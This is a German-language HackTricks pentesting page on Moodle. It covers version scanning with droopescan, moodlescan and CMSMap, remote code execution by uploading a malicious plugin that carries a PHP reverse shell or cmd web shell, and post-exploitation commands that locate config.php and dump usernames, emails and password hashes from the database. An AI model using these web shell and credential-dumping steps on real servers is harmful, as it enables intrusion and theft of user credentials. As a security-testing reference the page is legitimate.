# Moodle {{#include ../../banners/hacktricks-training.md}} ## Automatische Scans ### droopescan ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// [+] Plugins found: forum http://moodle.schooled.htb/moodle/mod/forum/ http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): 3.10.0-beta [+] Possible interesting urls found: Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt) Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/) [+] Scan finished (0:00:05.643539 elapsed) ``` ### moodlescan ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 x-powered-by : PHP/7.4.15 x-frame-options : sameorigin last-modified : Wed, 07 Apr 2021 21:33:41 GMT Getting moodle version... Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta Searching vulnerabilities... Vulnerabilities found: 0 Scan completed. ``` ### CMSMap ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs Ich habe festgestellt, dass die automatischen Tools ziemlich **nutzlos sind, um Schwachstellen in der Moodle-Version zu finden**. Sie können **nach ihnen suchen** in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** Sie müssen die **Manager**-Rolle haben und Sie **können Plugins** im **"Site administration"**-Tab **installieren**: ![](<../../images/image (630).png>) Wenn Sie Manager sind, müssen Sie möglicherweise diese **Option aktivieren**. Sie können sehen, wie im Moodle Privilege Escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). Dann können Sie **das folgende Plugin installieren**, das die klassische pentest-monkey PHP r**ev shell** enthält (_bevor Sie es hochladen, müssen Sie es dekomprimieren, die IP und den Port der revshell ändern und es erneut komprimieren_) {{#file}} moodle-rce-plugin.zip {{#endfile}} Oder Sie könnten das Plugin von [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) verwenden, um eine reguläre PHP-Shell mit dem "cmd"-Parameter zu erhalten. Um das bösartige Plugin zu starten, müssen Sie auf Folgendes zugreifen: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST ### Datenbankanmeldeinformationen finden ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` ### Anmeldeinformationen aus der Datenbank extrahieren ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` {{#include ../../banners/hacktricks-training.md}}